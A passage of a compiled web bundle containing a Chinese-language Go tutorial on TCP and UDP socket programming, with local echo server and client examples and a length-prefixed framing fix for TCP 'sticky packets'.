7387\uff0c\u901a\u5e38TCP\u6570\u636e\u5305\u7684\u957f\u5ea6\u4e0d\u4f1a\u8d85\u8fc7IP\u6570\u636e\u5305\u7684\u957f\u5ea6\uff0c\u4ee5\u786e\u4fdd\u5355\u4e2aTCP\u6570\u636e\u5305\u4e0d\u5fc5\u518d\u5206\u5272\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u5e94\u7528\u5c42",children:"\u5e94\u7528\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u5e94\u7528\u7a0b\u5e8f\u6536\u5230\u201d\u4f20\u8f93\u5c42\u201d\u7684\u6570\u636e\uff0c\u63a5\u4e0b\u6765\u5c31\u8981\u5bf9\u6570\u636e\u8fdb\u884c\u89e3\u5305\u3002\u7531\u4e8e\u4e92\u8054\u7f51\u662f\u5f00\u653e\u67b6\u6784\uff0c\u6570\u636e\u6765\u6e90\u4e94\u82b1\u516b\u95e8\uff0c\u5fc5\u987b\u4e8b\u5148\u89c4\u5b9a\u597d\u901a\u4fe1\u7684\u6570\u636e\u683c\u5f0f\uff0c\u5426\u5219\u63a5\u6536\u65b9\u6839\u672c\u65e0\u6cd5\u83b7\u5f97\u771f\u6b63\u53d1\u9001\u7684\u6570\u636e\u5185\u5bb9\u3002\u201d\u5e94\u7528\u5c42\u201d\u7684\u4f5c\u7528\u5c31\u662f\u89c4\u5b9a\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u7684\u6570\u636e\u683c\u5f0f\uff0c\u4f8b\u5982\u6211\u4eecTCP\u534f\u8bae\u4e4b\u4e0a\u5e38\u89c1\u7684Email\u3001HTTP\u3001FTP\u7b49\u534f\u8bae\uff0c\u8fd9\u4e9b\u534f\u8bae\u5c31\u7ec4\u6210\u4e86\u4e92\u8054\u7f51\u534f\u8bae\u7684\u5e94\u7528\u5c42\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u53d1\u9001\u65b9\u7684HTTP\u6570\u636e\u7ecf\u8fc7\u4e92\u8054\u7f51\u7684\u4f20\u8f93\u8fc7\u7a0b\u4e2d\u4f1a\u4f9d\u6b21\u6dfb\u52a0\u5404\u5c42\u534f\u8bae\u7684\u6807\u5934\u4fe1\u606f\uff0c\u63a5\u6536\u65b9\u6536\u5230\u6570\u636e\u5305\u4e4b\u540e\u518d\u4f9d\u6b21\u6839\u636e\u534f\u8bae\u89e3\u5305\u5f97\u5230\u6570\u636e\u3002"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"HTTP\u6570\u636e\u4f20\u8f93\u56fe\u89e3",src:t(55069).A+"",width:"1748",height:"1170"})}),"\n",(0,l.jsx)(e.h2,{id:"socket\u7f16\u7a0b",children:"socket\u7f16\u7a0b"}),"\n",(0,l.jsx)(e.p,{children:"Socket\u662fBSD UNIX\u7684\u8fdb\u7a0b\u901a\u4fe1\u673a\u5236\uff0c\u901a\u5e38\u4e5f\u79f0\u4f5c\u201d\u5957\u63a5\u5b57\u201d\uff0c\u7528\u4e8e\u63cf\u8ff0IP\u5730\u5740\u548c\u7aef\u53e3\uff0c\u662f\u4e00\u4e2a\u901a\u4fe1\u94fe\u7684\u53e5\u67c4\u3002Socket\u53ef\u4ee5\u7406\u89e3\u4e3aTCP/IP\u7f51\u7edc\u7684API\uff0c\u5b83\u5b9a\u4e49\u4e86\u8bb8\u591a\u51fd\u6570\u6216\u4f8b\u7a0b\uff0c\u7a0b\u5e8f\u5458\u53ef\u4ee5\u7528\u5b83\u4eec\u6765\u5f00\u53d1TCP/IP\u7f51\u7edc\u4e0a\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u7535\u8111\u4e0a\u8fd0\u884c\u7684\u5e94\u7528\u7a0b\u5e8f\u901a\u5e38\u901a\u8fc7\u201d\u5957\u63a5\u5b57\u201d\u5411\u7f51\u7edc\u53d1\u51fa\u8bf7\u6c42\u6216\u8005\u5e94\u7b54\u7f51\u7edc\u8bf7\u6c42\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"socket\u56fe\u89e3",children:"socket\u56fe\u89e3"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Socket"}),"\u662f\u5e94\u7528\u5c42\u4e0eTCP/IP\u534f\u8bae\u65cf\u901a\u4fe1\u7684\u4e2d\u95f4\u8f6f\u4ef6\u62bd\u8c61\u5c42\u3002\u5728\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0c",(0,l.jsx)(e.code,{children:"Socket"}),"\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u95e8\u9762\u6a21\u5f0f\uff0c\u5b83\u628a\u590d\u6742\u7684TCP/IP\u534f\u8bae\u65cf\u9690\u85cf\u5728",(0,l.jsx)(e.code,{children:"Socket"}),"\u540e\u9762\uff0c\u5bf9\u7528\u6237\u6765\u8bf4\u53ea\u9700\u8981\u8c03\u7528Socket\u89c4\u5b9a\u7684\u76f8\u5173\u51fd\u6570\uff0c\u8ba9",(0,l.jsx)(e.code,{children:"Socket"}),"\u53bb\u7ec4\u7ec7\u7b26\u5408\u6307\u5b9a\u7684\u534f\u8bae\u6570\u636e\u7136\u540e\u8fdb\u884c\u901a\u4fe1\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"socket\u56fe\u89e3",src:t(41884).A+"",width:"1760",height:"1210"})}),"\n",(0,l.jsx)(e.h3,{id:"go\u8bed\u8a00\u5b9e\u73b0tcp\u901a\u4fe1",children:"Go\u8bed\u8a00\u5b9e\u73b0TCP\u901a\u4fe1"}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u534f\u8bae",children:"TCP\u534f\u8bae"}),"\n",(0,l.jsx)(e.p,{children:"TCP/IP(Transmission Control Protocol/Internet Protocol) \u5373\u4f20\u8f93\u63a7\u5236\u534f\u8bae/\u7f51\u95f4\u534f\u8bae\uff0c\u662f\u4e00\u79cd\u9762\u5411\u8fde\u63a5\uff08\u8fde\u63a5\u5bfc\u5411\uff09\u7684\u3001\u53ef\u9760\u7684\u3001\u57fa\u4e8e\u5b57\u8282\u6d41\u7684\u4f20\u8f93\u5c42\uff08Transport layer\uff09\u901a\u4fe1\u534f\u8bae\uff0c\u56e0\u4e3a\u662f\u9762\u5411\u8fde\u63a5\u7684\u534f\u8bae\uff0c\u6570\u636e\u50cf\u6c34\u6d41\u4e00\u6837\u4f20\u8f93\uff0c\u4f1a\u5b58\u5728\u9ecf\u5305\u95ee\u9898\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u670d\u52a1\u7aef",children:"TCP\u670d\u52a1\u7aef"}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2aTCP\u670d\u52a1\u7aef\u53ef\u4ee5\u540c\u65f6\u8fde\u63a5\u5f88\u591a\u4e2a\u5ba2\u6237\u7aef\uff0c\u4f8b\u5982\u4e16\u754c\u5404\u5730\u7684\u7528\u6237\u4f7f\u7528\u81ea\u5df1\u7535\u8111\u4e0a\u7684\u6d4f\u89c8\u5668\u8bbf\u95ee\u6dd8\u5b9d\u7f51\u3002\u56e0\u4e3aGo\u8bed\u8a00\u4e2d\u521b\u5efa\u591a\u4e2agoroutine\u5b9e\u73b0\u5e76\u53d1\u975e\u5e38\u65b9\u4fbf\u548c\u9ad8\u6548\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u6bcf\u5efa\u7acb\u4e00\u6b21\u94fe\u63a5\u5c31\u521b\u5efa\u4e00\u4e2agoroutine\u53bb\u5904\u7406\u3002"}),"\n",(0,l.jsx)(e.p,{children:"TCP\u670d\u52a1\u7aef\u7a0b\u5e8f\u7684\u5904\u7406\u6d41\u7a0b\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u76d1\u542c\u7aef\u53e3"}),"\n",(0,l.jsx)(e.li,{children:"\u63a5\u6536\u5ba2\u6237\u7aef\u8bf7\u6c42\u5efa\u7acb\u94fe\u63a5"}),"\n",(0,l.jsx)(e.li,{children:"\u521b\u5efagoroutine\u5904\u7406\u94fe\u63a5\u3002"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u4f7f\u7528Go\u8bed\u8a00\u7684net\u5305\u5b9e\u73b0\u7684TCP\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// tcp/server/main.go\n\n// TCP server\u7aef\n\n// \u5904\u7406\u51fd\u6570\nfunc process(conn net.Conn) {\n\tdefer conn.Close() // \u5173\u95ed\u8fde\u63a5\n\tfor {\n\t\treader := bufio.NewReader(conn)\n\t\tvar buf [128]byte\n\t\tn, err := reader.Read(buf[:]) // \u8bfb\u53d6\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("read from client failed, err:", err)\n\t\t\tbreak\n\t\t}\n\t\trecvStr := string(buf[:n])\n\t\tfmt.Println("\u6536\u5230client\u7aef\u53d1\u6765\u7684\u6570\u636e\uff1a", recvStr)\n\t\tconn.Write([]byte(recvStr)) // \u53d1\u9001\u6570\u636e\n\t}\n}\n\nfunc main() {\n\tlisten, err := net.Listen("tcp", "127.0.0.1:20000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tfor {\n\t\tconn, err := listen.Accept() // \u5efa\u7acb\u8fde\u63a5\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn) // \u542f\u52a8\u4e00\u4e2agoroutine\u5904\u7406\u8fde\u63a5\n\t}\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u4e4b\u540e\u7f16\u8bd1\u6210",(0,l.jsx)(e.code,{children:"server"}),"\u6216",(0,l.jsx)(e.code,{children:"server.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(e.h4,{id:"tcp\u5ba2\u6237\u7aef",children:"TCP\u5ba2\u6237\u7aef"}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2aTCP\u5ba2\u6237\u7aef\u8fdb\u884cTCP\u901a\u4fe1\u7684\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u5efa\u7acb\u4e0e\u670d\u52a1\u7aef\u7684\u94fe\u63a5"}),"\n",(0,l.jsx)(e.li,{children:"\u8fdb\u884c\u6570\u636e\u6536\u53d1"}),"\n",(0,l.jsx)(e.li,{children:"\u5173\u95ed\u94fe\u63a5"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528Go\u8bed\u8a00\u7684net\u5305\u5b9e\u73b0\u7684TCP\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// tcp/client/main.go\n\n// \u5ba2\u6237\u7aef\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:20000")\n\tif err != nil {\n\t\tfmt.Println("err :", err)\n\t\treturn\n\t}\n\tdefer conn.Close() // \u5173\u95ed\u8fde\u63a5\n\tinputReader := bufio.NewReader(os.Stdin)\n\tfor {\n\t\tinput, _ := inputReader.ReadString(\'\\n\') // \u8bfb\u53d6\u7528\u6237\u8f93\u5165\n\t\tinputInfo := strings.Trim(input, "\\r\\n")\n\t\tif strings.ToUpper(inputInfo) == "Q" { // \u5982\u679c\u8f93\u5165q\u5c31\u9000\u51fa\n\t\t\treturn\n\t\t}\n\t\t_, err = conn.Write([]byte(inputInfo)) // \u53d1\u9001\u6570\u636e\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tbuf := [512]byte{}\n\t\tn, err := conn.Read(buf[:])\n\t\tif err != nil {\n\t\t\tfmt.Println("recv failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Println(string(buf[:n]))\n\t}\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u6210",(0,l.jsx)(e.code,{children:"client"}),"\u6216",(0,l.jsx)(e.code,{children:"client.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u5148\u542f\u52a8server\u7aef\u518d\u542f\u52a8client\u7aef\uff0c\u5728client\u7aef\u8f93\u5165\u4efb\u610f\u5185\u5bb9\u56de\u8f66\u4e4b\u540e\u5c31\u80fd\u591f\u5728server\u7aef\u770b\u5230client\u7aef\u53d1\u9001\u7684\u6570\u636e\uff0c\u4ece\u800c\u5b9e\u73b0TCP\u901a\u4fe1\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"tcp\u9ecf\u5305",children:"TCP\u9ecf\u5305"}),"\n",(0,l.jsx)(e.h4,{id:"\u9ecf\u5305\u793a\u4f8b",children:"\u9ecf\u5305\u793a\u4f8b"}),"\n",(0,l.jsx)(e.p,{children:"\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/server/main.go\n\nfunc process(conn net.Conn) {\n\tdefer conn.Close()\n\treader := bufio.NewReader(conn)\n\tvar buf [1024]byte\n\tfor {\n\t\tn, err := reader.Read(buf[:])\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read from client failed, err:", err)\n\t\t\tbreak\n\t\t}\n\t\trecvStr := string(buf[:n])\n\t\tfmt.Println("\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a", recvStr)\n\t}\n}\n\nfunc main() {\n\n\tlisten, err := net.Listen("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tconn, err := listen.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/client/main.go\n\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("dial failed, err", err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tfor i := 0; i < 20; i++ {\n\t\tmsg := `Hello, Hello. How are you?`\n\t\tconn.Write([]byte(msg))\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u540e\uff0c\u5206\u522b\u7f16\u8bd1\u3002\u5148\u542f\u52a8\u670d\u52a1\u7aef\u518d\u542f\u52a8\u5ba2\u6237\u7aef\uff0c\u53ef\u4ee5\u770b\u5230\u670d\u52a1\u7aef\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-bash",children:"\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?Hello, Hello. How are you?\n\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a Hello, Hello. How are you?Hello, Hello. How are you?\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u520610\u6b21\u53d1\u9001\u7684\u6570\u636e\uff0c\u5728\u670d\u52a1\u7aef\u5e76\u6ca1\u6709\u6210\u529f\u7684\u8f93\u51fa10\u6b21\uff0c\u800c\u662f\u591a\u6761\u6570\u636e\u201c\u7c98\u201d\u5230\u4e86\u4e00\u8d77\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",children:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305"}),"\n",(0,l.jsx)(e.p,{children:"\u4e3b\u8981\u539f\u56e0\u5c31\u662ftcp\u6570\u636e\u4f20\u9012\u6a21\u5f0f\u662f\u6d41\u6a21\u5f0f\uff0c\u5728\u4fdd\u6301\u957f\u8fde\u63a5\u7684\u65f6\u5019\u53ef\u4ee5\u8fdb\u884c\u591a\u6b21\u7684\u6536\u548c\u53d1\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7c98\u5305\u201d\u53ef\u53d1\u751f\u5728\u53d1\u9001\u7aef\u4e5f\u53ef\u53d1\u751f\u5728\u63a5\u6536\u7aef\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u7531Nagle\u7b97\u6cd5\u9020\u6210\u7684\u53d1\u9001\u7aef\u7684\u7c98\u5305\uff1aNagle\u7b97\u6cd5\u662f\u4e00\u79cd\u6539\u5584\u7f51\u7edc\u4f20\u8f93\u6548\u7387\u7684\u7b97\u6cd5\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5f53\u6211\u4eec\u63d0\u4ea4\u4e00\u6bb5\u6570\u636e\u7ed9TCP\u53d1\u9001\u65f6\uff0cTCP\u5e76\u4e0d\u7acb\u523b\u53d1\u9001\u6b64\u6bb5\u6570\u636e\uff0c\u800c\u662f\u7b49\u5f85\u4e00\u5c0f\u6bb5\u65f6\u95f4\u770b\u770b\u5728\u7b49\u5f85\u671f\u95f4\u662f\u5426\u8fd8\u6709\u8981\u53d1\u9001\u7684\u6570\u636e\uff0c\u82e5\u6709\u5219\u4f1a\u4e00\u6b21\u628a\u8fd9\u4e24\u6bb5\u6570\u636e\u53d1\u9001\u51fa\u53bb\u3002"}),"\n",(0,l.jsx)(e.li,{children:"\u63a5\u6536\u7aef\u63a5\u6536\u4e0d\u53ca\u65f6\u9020\u6210\u7684\u63a5\u6536\u7aef\u7c98\u5305\uff1aTCP\u4f1a\u628a\u63a5\u6536\u5230\u7684\u6570\u636e\u5b58\u5728\u81ea\u5df1\u7684\u7f13\u51b2\u533a\u4e2d\uff0c\u7136\u540e\u901a\u77e5\u5e94\u7528\u5c42\u53d6\u6570\u636e\u3002\u5f53\u5e94\u7528\u5c42\u7531\u4e8e\u67d0\u4e9b\u539f\u56e0\u4e0d\u80fd\u53ca\u65f6\u7684\u628aTCP\u7684\u6570\u636e\u53d6\u51fa\u6765\uff0c\u5c31\u4f1a\u9020\u6210TCP\u7f13\u51b2\u533a\u4e2d\u5b58\u653e\u4e86\u51e0\u6bb5\u6570\u636e\u3002"}),"\n"]}),"\n",(0,l.jsx)(e.h4,{id:"\u89e3\u51b3\u529e\u6cd5",children:"\u89e3\u51b3\u529e\u6cd5"}),"\n",(0,l.jsx)(e.p,{children:"\u51fa\u73b0\u201d\u7c98\u5305\u201d\u7684\u5173\u952e\u5728\u4e8e\u63a5\u6536\u65b9\u4e0d\u786e\u5b9a\u5c06\u8981\u4f20\u8f93\u7684\u6570\u636e\u5305\u7684\u5927\u5c0f\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5bf9\u6570\u636e\u5305\u8fdb\u884c\u5c01\u5305\u548c\u62c6\u5305\u7684\u64cd\u4f5c\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5c01\u5305\uff1a\u5c01\u5305\u5c31\u662f\u7ed9\u4e00\u6bb5\u6570\u636e\u52a0\u4e0a\u5305\u5934\uff0c\u8fd9\u6837\u4e00\u6765\u6570\u636e\u5305\u5c31\u5206\u4e3a\u5305\u5934\u548c\u5305\u4f53\u4e24\u90e8\u5206\u5185\u5bb9\u4e86(\u8fc7\u6ee4\u975e\u6cd5\u5305\u65f6\u5c01\u5305\u4f1a\u52a0\u5165\u201d\u5305\u5c3e\u201d\u5185\u5bb9)\u3002\u5305\u5934\u90e8\u5206\u7684\u957f\u5ea6\u662f\u56fa\u5b9a\u7684\uff0c\u5e76\u4e14\u5b83\u5b58\u50a8\u4e86\u5305\u4f53\u7684\u957f\u5ea6\uff0c\u6839\u636e\u5305\u5934\u957f\u5ea6\u56fa\u5b9a\u4ee5\u53ca\u5305\u5934\u4e2d\u542b\u6709\u5305\u4f53\u957f\u5ea6\u7684\u53d8\u91cf\u5c31\u80fd\u6b63\u786e\u7684\u62c6\u5206\u51fa\u4e00\u4e2a\u5b8c\u6574\u7684\u6570\u636e\u5305\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5b9a\u4e49\u4e00\u4e2a\u534f\u8bae\uff0c\u6bd4\u5982\u6570\u636e\u5305\u7684\u524d4\u4e2a\u5b57\u8282\u4e3a\u5305\u5934\uff0c\u91cc\u9762\u5b58\u50a8\u7684\u662f\u53d1\u9001\u7684\u6570\u636e\u7684\u957f\u5ea6\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/proto/proto.go\npackage proto\n\nimport (\n\t"bufio"\n\t"bytes"\n\t"encoding/binary"\n)\n\n// Encode \u5c06\u6d88\u606f\u7f16\u7801\nfunc Encode(message string) ([]byte, error) {\n\t// \u8bfb\u53d6\u6d88\u606f\u7684\u957f\u5ea6\uff0c\u8f6c\u6362\u6210int32\u7c7b\u578b\uff08\u53604\u4e2a\u5b57\u8282\uff09\n\tvar length = int32(len(message))\n\tvar pkg = new(bytes.Buffer)\n\t// \u5199\u5165\u6d88\u606f\u5934\n\terr := binary.Write(pkg, binary.LittleEndian, length)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// \u5199\u5165\u6d88\u606f\u5b9e\u4f53\n\terr = binary.Write(pkg, binary.LittleEndian, []byte(message))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn pkg.Bytes(), nil\n}\n\n// Decode \u89e3\u7801\u6d88\u606f\nfunc Decode(reader *bufio.Reader) (string, error) {\n\t// \u8bfb\u53d6\u6d88\u606f\u7684\u957f\u5ea6\n\tlengthByte, _ := reader.Peek(4) // \u8bfb\u53d6\u524d4\u4e2a\u5b57\u8282\u7684\u6570\u636e\n\tlengthBuff := bytes.NewBuffer(lengthByte)\n\tvar length int32\n\terr := binary.Read(lengthBuff, binary.LittleEndian, &length)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\t// Buffered\u8fd4\u56de\u7f13\u51b2\u4e2d\u73b0\u6709\u7684\u53ef\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\n\tif int32(reader.Buffered()) < length+4 {\n\t\treturn "", err\n\t}\n\n\t// \u8bfb\u53d6\u771f\u6b63\u7684\u6d88\u606f\u6570\u636e\n\tpack := make([]byte, int(4+length))\n\t_, err = reader.Read(pack)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\treturn string(pack[4:]), nil\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u5728\u670d\u52a1\u7aef\u548c\u5ba2\u6237\u7aef\u5206\u522b\u4f7f\u7528\u4e0a\u9762\u5b9a\u4e49\u7684",(0,l.jsx)(e.code,{children:"proto"}),"\u5305\u7684",(0,l.jsx)(e.code,{children:"Decode"}),"\u548c",(0,l.jsx)(e.code,{children:"Encode"}),"\u51fd\u6570\u5904\u7406\u6570\u636e\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/server2/main.go\n\nfunc process(conn net.Conn) {\n\tdefer conn.Close()\n\treader := bufio.NewReader(conn)\n\tfor {\n\t\tmsg, err := proto.Decode(reader)\n\t\tif err == io.EOF {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("decode msg failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Println("\u6536\u5230client\u53d1\u6765\u7684\u6570\u636e\uff1a", msg)\n\t}\n}\n\nfunc main() {\n\n\tlisten, err := net.Listen("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tconn, err := listen.Accept()\n\t\tif err != nil {\n\t\t\tfmt.Println("accept failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tgo process(conn)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// socket_stick/client2/main.go\n\nfunc main() {\n\tconn, err := net.Dial("tcp", "127.0.0.1:30000")\n\tif err != nil {\n\t\tfmt.Println("dial failed, err", err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tfor i := 0; i < 20; i++ {\n\t\tmsg := `Hello, Hello. How are you?`\n\t\tdata, err := proto.Encode(msg)\n\t\tif err != nil {\n\t\t\tfmt.Println("encode msg failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tconn.Write(data)\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.h3,{id:"go\u8bed\u8a00\u5b9e\u73b0udp\u901a\u4fe1",children:"Go\u8bed\u8a00\u5b9e\u73b0UDP\u901a\u4fe1"}),"\n",(0,l.jsx)(e.h4,{id:"udp\u534f\u8bae",children:"UDP\u534f\u8bae"}),"\n",(0,l.jsxs)(e.p,{children:["UDP\u534f\u8bae\uff08User Datagram Protocol\uff09\u4e2d\u6587\u540d\u79f0\u662f\u7528\u6237\u6570\u636e\u62a5\u534f\u8bae\uff0c\u662fOSI\uff08Open System Interconnection\uff0c\u5f00\u653e\u5f0f\u7cfb\u7edf\u4e92\u8054\uff09\u53c2\u8003\u6a21\u578b\u4e2d\u4e00\u79cd",(0,l.jsx)(e.strong,{children:"\u65e0\u8fde\u63a5"}),"\u7684\u4f20\u8f93\u5c42\u534f\u8bae\uff0c\u4e0d\u9700\u8981\u5efa\u7acb\u8fde\u63a5\u5c31\u80fd\u76f4\u63a5\u8fdb\u884c\u6570\u636e\u53d1\u9001\u548c\u63a5\u6536\uff0c\u5c5e\u4e8e\u4e0d\u53ef\u9760\u7684\u3001\u6ca1\u6709\u65f6\u5e8f\u7684\u901a\u4fe1\uff0c\u4f46\u662fUDP\u534f\u8bae\u7684\u5b9e\u65f6\u6027\u6bd4\u8f83\u597d\uff0c\u901a\u5e38\u7528\u4e8e\u89c6\u9891\u76f4\u64ad\u76f8\u5173\u9886\u57df\u3002"]}),"\n",(0,l.jsx)(e.h4,{id:"udp\u670d\u52a1\u7aef",children:"UDP\u670d\u52a1\u7aef"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u7684",(0,l.jsx)(e.code,{children:"net"}),"\u5305\u5b9e\u73b0\u7684UDP\u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// UDP/server/main.go\n\n// UDP server\u7aef\nfunc main() {\n\tlisten, err := net.ListenUDP("udp", &net.UDPAddr{\n\t\tIP: net.IPv4(0, 0, 0, 0),\n\t\tPort: 30000,\n\t})\n\tif err != nil {\n\t\tfmt.Println("listen failed, err:", err)\n\t\treturn\n\t}\n\tdefer listen.Close()\n\tfor {\n\t\tvar data [1024]byte\n\t\tn, addr, err := listen.ReadFromUDP(data[:]) // \u63a5\u6536\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("read udp failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Printf("data:%v addr:%v count:%v\\n", string(data[:n]), addr, n)\n\t\t_, err = listen.WriteToUDP(data[:n], addr) // \u53d1\u9001\u6570\u636e\n\t\tif err != nil {\n\t\t\tfmt.Println("write to udp failed, err:", err)\n\t\t\tcontinue\n\t\t}\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"udp\u5ba2\u6237\u7aef",children:"UDP\u5ba2\u6237\u7aef"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u7684",(0,l.jsx)(e.code,{children:"net"}),"\u5305\u5b9e\u73b0\u7684UDP\u5ba2\u6237\u7aef\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// UDP \u5ba2\u6237\u7aef\nfunc main() {\n\tsocket, err := net.DialUDP("udp", nil, &net.UDPAddr{\n\t\tIP: net.IPv4(0, 0, 0, 0),\n\t\tPort: 30000,\n\t})\n\tif err != nil 